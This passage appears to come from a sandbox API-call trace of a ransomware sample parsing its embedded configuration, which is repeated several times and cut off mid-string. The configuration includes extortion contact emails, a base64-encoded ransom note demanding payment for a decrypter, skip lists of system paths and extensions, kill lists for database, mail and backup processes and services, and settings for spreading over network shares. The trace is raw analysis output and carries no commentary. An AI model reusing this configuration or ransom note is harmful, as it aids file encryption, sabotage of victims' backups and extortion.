\"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x47f9e4, _Radix=0 | out: _EndPtr=0x47f9e4*=",\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 1500 [0128.952] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3838, Size=0x10) returned 0x8d3868 [0128.952] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de6c8 [0128.952] strtol (in: _Str="51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x47f9e4, _Radix=0 | out: _EndPtr=0x47f9e4*=",\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume 